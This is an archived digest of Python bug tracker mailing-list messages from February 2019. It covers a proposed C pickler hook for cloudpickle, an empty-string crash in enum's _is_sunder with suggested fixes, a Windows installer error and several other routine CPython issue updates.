Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35900] Add pickler hook for the user to customize the serialization of user defined functions and types.

2019-02-05 Thread SilentGhost


Change by SilentGhost :


--
title: Add pickler hoor for the user to customize the serialization of user 
defined functions and types. -> Add pickler hook for the user to customize the 
serialization of user defined functions and types.

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35900] Add pickler hoor for the user to customize the serialization of user defined functions and types.

2019-02-05 Thread Pierre Glaser


Pierre Glaser  added the comment:

Pickler objects provide a dispatch_table attribute, where the user can specify
custom saving functions depending on the object-to-be-saved type. However, for
performance purposes, this table is predated (in the C implementation only) by
a hardcoded switch that will take care of the saving for many built-in types,
without a lookup in the dispatch_table.

Especially, it is not possible to define custom saving methods for functions
and classes, although the current default (save_global, that saves an object
using its module attribute path) is likely to fail at pickling or unpickling
time in many cases.

The aforementioned failures exist on purpose in the standard library (as a way
to allow for the serialization of functions accessible from non-dynamic (*)
modules only). However, there exist cases where serializing functions from
dynamic modules matter. These cases are currently handled thanks the
cloudpickle module (https://github.com/cloudpipe/cloudpickle), that is used by
many distributed data-science frameworks such as pyspark, ray and dask. For the
reasons explained above, cloudpickle's Pickler subclass derives from the python
Pickler class instead of its C class, which severely harms its performance.

While prototyping with Antoine Pitrou, we came to the conclusion that a hook
could be added to the C Pickler class, in which an optional user-defined
callback would be invoked (if defined) when saving functions and classes
instead of the traditional save_global. Here is a patch so that we can have
something concrete of which to discuss.

(*) dynamic module are modules that cannot be imported by name as traditional
python file backed module. Examples include the __main__ module that can be
populated dynamically by running a script or by a, user writing code in a
python shell / jupyter notebook.

--
keywords: +patch
Added file: https://bugs.python.org/file48102/pickler_hook.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35900] Add pickler hoor for the user to customize the serialization of user defined functions and types.

2019-02-05 Thread Pierre Glaser


New submission from Pierre Glaser :

Pickler objects provide a dispatch_table attribute, where the user can specify
custom saving functions depending on the object-to-be-saved type. However, for
performance purposes, this table is predated (in the C implementation only) by
a hardcoded switch that will take care of the saving for many built-in types,
without a lookup in the dispatch_table.

Especially, it is not possible to define custom saving methods for functions
and classes, although the current default (save_global, that saves an object
using its module attribute path) is likely to fail at pickling or unpickling
time in many cases.

The aforementioned failures exist on purpose in the standard library (as a way
to allow for the serialization of functions accessible from non-dynamic (*)
modules only). However, there exist cases where serializing functions from
dynamic modules matter. These cases are currently handled thanks the
cloudpickle module (https://github.com/cloudpipe/cloudpickle), that is used by
many distributed data-science frameworks such as pyspark, ray and dask. For the
reasons explained above, cloudpickle's Pickler subclass derives from the python
Pickler class instead of its C class, which severely harms its performance.

While prototyping with Antoine Pitrou, we came to the conclusion that a hook
could be added to the C Pickler class, in which an optional user-defined
callback would be invoked (if defined) when saving functions and classes
instead of the traditional save_global. Here is a patch so that we can have
something concrete of which to discuss.

(*) dynamic module are modules that cannot be imported by name as traditional
python file backed module. Examples include the __main__ module that can be
populated dynamically by running a script or by a, user writing code in a
python shell / jupyter notebook.

--
files: test_hook.py
messages: 334870
nosy: alexandre.vassalotti, pierreglaser, pitrou
priority: normal
severity: normal
status: open
title: Add pickler hoor for the user to customize the serialization of user 
defined functions and types.
type: enhancement
versions: Python 3.8
Added file: https://bugs.python.org/file48101/test_hook.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35899] '_is_sunder' function in 'enum' module fails on empty string

2019-02-05 Thread Rémi Lapeyre

Rémi Lapeyre  added the comment:

Hi @Maxpxt, I think your first solution is appropriate, do you want to open a 
new pull request with your solution and an appropriate test case?

--
nosy: +remi.lapeyre

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18765] unittest needs a way to launch pdb.post_mortem or other debug hooks

2019-02-05 Thread Rémi Lapeyre

Rémi Lapeyre  added the comment:

@gregory.p.smith Do you think the debugHook should be added to the test case or 
the test runner?

If we add it to the test case, how do you think the runner should tell the test 
case what flags have been given on the command line?

I feel like adding a new class variable to TestCase could break some user code 
but no other option seems better to me.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35899] '_is_sunder' function in 'enum' module fails on empty string

2019-02-05 Thread Maxwell


Maxwell  added the comment:

Typo fix on solution 2:

def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[:1] == name[-1:] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35899] '_is_sunder' function in 'enum' module fails on empty string

2019-02-05 Thread Maxwell


New submission from Maxwell :

This is a really minor bug.

In enum.py the function _is_sunder(name) fails on empty string with an 
IndexError.

As a result, attempting to create an Enum with an empty string fails.

>>> from enum import Enum
>>> Yay = Enum('Yay', ('', 'B', 'C'))
Traceback (most recent call last):
  File "", line 1, in 
  File "C:\Program Files\Python37\lib\enum.py", line 311, in __call__
return cls._create_(value, names, module=module, qualname=qualname, 
type=type, start=start)
  File "C:\Program Files\Python37\lib\enum.py", line 422, in _create_
classdict[member_name] = member_value
  File "C:\Program Files\Python37\lib\enum.py", line 78, in __setitem__
if _is_sunder(key):
  File "C:\Program Files\Python37\lib\enum.py", line 36, in _is_sunder
return (name[0] == name[-1] == '_' and
IndexError: string index out of range
>>>



Expected behavior is for it to not fail, as Enum accepts wierd strings. Example:

>>> from enum import Enum
>>> Yay = Enum('Yay', ('!', 'B', 'C'))
>>> getattr(Yay, '!')

>>>



Transcript of lines 26 to 39 of enum.py:

def _is_dunder(name):
"""Returns True if a __dunder__ name, False otherwise."""
return (name[:2] == name[-2:] == '__' and
name[2:3] != '_' and
name[-3:-2] != '_' and
len(name) > 4)


def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[0] == name[-1] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)



Solution 1: Replace with:

def _is_dunder(name):
"""Returns True if a __dunder__ name, False otherwise."""
return (len(name) > 4 and
name[:2] == name[-2:] == '__' and
name[2] != '_' and
name[-3] != '_')


def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (len(name) > 2 and
name[0] == name[-1] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_')

In this solution, function '_is_dunder' was also altered for consistency.
Altering '_is_dunder' is not necessary, though.



Solution 2: Replace with:

def _is_dunder(name):
"""Returns True if a __dunder__ name, False otherwise."""
return (name[:2] == name[-2:] == '__' and
name[2:3] != '_' and
name[-3:-2] != '_' and
len(name) > 4)


def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[:0] == name[-1:] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)

In this solution, function '_is_sunder' was altered to follow
the style used in function '_is_dunder'.

--
components: Library (Lib)
messages: 334866
nosy: Maxpxt
priority: normal
severity: normal
status: open
title: '_is_sunder' function in 'enum' module fails on empty string
type: crash
versions: Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35813] shared memory construct to avoid need for serialization between processes

2019-02-05 Thread Stefan Krah


Change by Stefan Krah :


--
nosy: +skrah

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue34572] C unpickling bypasses import thread safety

2019-02-05 Thread SilentGhost


Change by SilentGhost :


--
keywords: +needs review
nosy: +alexandre.vassalotti

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35896] sysconfig.get_platform returns wrong value when Python 32b is running under Windows 64b

2019-02-05 Thread Ronald Oussoren


Change by Ronald Oussoren :


--
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Thomas Trummer


Change by Thomas Trummer :


Added file: https://bugs.python.org/file48099/Python 3.8.0a1 
(64-bit)_20190205131106.log

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Thomas Trummer


Change by Thomas Trummer :


Added file: https://bugs.python.org/file48098/Python 3.8.0a1 
(64-bit)_20190205130936_000_core_JustForMe.log

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Thomas Trummer


Change by Thomas Trummer :


Added file: https://bugs.python.org/file48100/Python 3.8.0a1 
(64-bit)_20190205131106_000_core_JustForMe.log

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35898] The TARGETDIR variable must be provided when invoking this installer

2019-02-05 Thread Thomas Trummer


New submission from Thomas Trummer :

The installer for Python 3.8.0a1 doesn't work under Windows 7. It shows the 
aforementioned error message.

--
components: Installation
files: Python 3.8.0a1 (64-bit)_20190205130936.log
messages: 334865
nosy: Thomas Trummer
priority: normal
severity: normal
status: open
title: The TARGETDIR variable must be provided when invoking this installer
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48097/Python 3.8.0a1 
(64-bit)_20190205130936.log

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35055] Error when we try to download the epub archive

2019-02-05 Thread Stéphane Wirtel

Stéphane Wirtel  added the comment:

ping ned, do we have a solution for this issue?

Thank you,

Stéphane

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35358] Document that importlib.import_module accepts names that are not valid Python syntax

2019-02-05 Thread Stéphane Wirtel

Stéphane Wirtel  added the comment:

I close this issue, thank you for your feedback.

--
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35895] the test suite of pytest failed with 3.8.0a1

2019-02-05 Thread Stéphane Wirtel

Stéphane Wirtel  added the comment:

Hi Guido,

The team of Pytest has been informed and after a small discussion, it seems 
it's a problem with the way they use the AST for the assert keyword. They know 
the issue, I hope they will fix it asap.

I would like to test pytest with 3.8 ;-)

Thank you to closing this one.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue34778] Memoryview for column-major (f_contiguous) arrays from bytes impossible to achieve

2019-02-05 Thread Stefan Krah


Change by Stefan Krah :


--
assignee:  -> skrah

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


INADA Naoki  added the comment:


New changeset 21ab7744ae30bff24bcc9e075a96e98137b90a37 by Inada Naoki in branch 
'3.7':
bpo-20001: update pathlib landing image (GH-11304)
https://github.com/python/cpython/commit/21ab7744ae30bff24bcc9e075a96e98137b90a37


--
nosy: +inada.naoki
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


Change by INADA Naoki :


--
pull_requests: +11710, 11711, 11712

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


Change by INADA Naoki :


--
pull_requests: +11710

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


Change by INADA Naoki :


--
pull_requests: +11710, 11711

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


Change by INADA Naoki :


--
nosy:  -inada.naoki
versions: +Python 3.7, Python 3.8 -Python 3.5, Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20001] pathlib inheritance diagram too large

2019-02-05 Thread INADA Naoki


INADA Naoki  added the comment:


New changeset cd90f6a3692e0f7ef0a13aae651e19a08d1f9b31 by Inada Naoki 
(Harmandeep Singh) in branch 'master':
bpo-20001: update pathlib landing image (GH-11304)
https://github.com/python/cpython/commit/cd90f6a3692e0f7ef0a13aae651e19a08d1f9b31


--
nosy: +inada.naoki

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35838] ConfigParser calls optionxform twice when assigning dict

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
keywords: +patch, patch
pull_requests: +11707, 11708
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35838] ConfigParser calls optionxform twice when assigning dict

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
keywords: +patch, patch, patch
pull_requests: +11707, 11708, 11709
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35838] ConfigParser calls optionxform twice when assigning dict

2019-02-05 Thread Karthikeyan Singaravelan


Change by Karthikeyan Singaravelan :


--
keywords: +patch
pull_requests: +11707
stage:  -> patch review

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35897] Support list as argument to .startswith()

2019-02-05 Thread Fred .Flintstone


Fred .Flintstone  added the comment:

A programmer want to instruct the computer to do something, without having to 
care about how it works.

Maybe the library could in the background convert the list to a tuple.

Like:
"foo".startswith(tuple(["food", "for", "fast"]))

But the programmer shouldn't have to worry about this. I have a list, I want to 
use the list. I shouldn't have to care about interpreter internals that have 
nothing to do with the intent of my code.

My code should clearly represent intent, not have boilerplate code or 
constructs to workaround interpreter internals.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35897] Support list as argument to .startswith()

2019-02-05 Thread Karthikeyan Singaravelan


Karthikeyan Singaravelan  added the comment:

Related discussion : issue34312

--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35897] Support list as argument to .startswith()

2019-02-05 Thread Raymond Hettinger


Raymond Hettinger  added the comment:

For subtle reasons, that would make us worse off.  Tuple of constants get 
precomputed but lists of constants have to be rebuilt.

Thank for the suggestion, but I think we should stick with the original design.

--
nosy: +rhettinger
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue35897] Support list as argument to .startswith()

2019-02-05 Thread Fred .Flintstone


New submission from Fred .Flintstone :

The "".startswith() method accepts a string or a tuple as a parameter.

Consider adding support for list as parameter.

Example:
"foo".startswith(["food", "for", "fast"])

--
components: Interpreter Core
messages: 334856
nosy: Fred .Flintstone
priority: normal
severity: normal
status: open
title: Support list as argument to .startswith()
type: enhancement
versions: Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com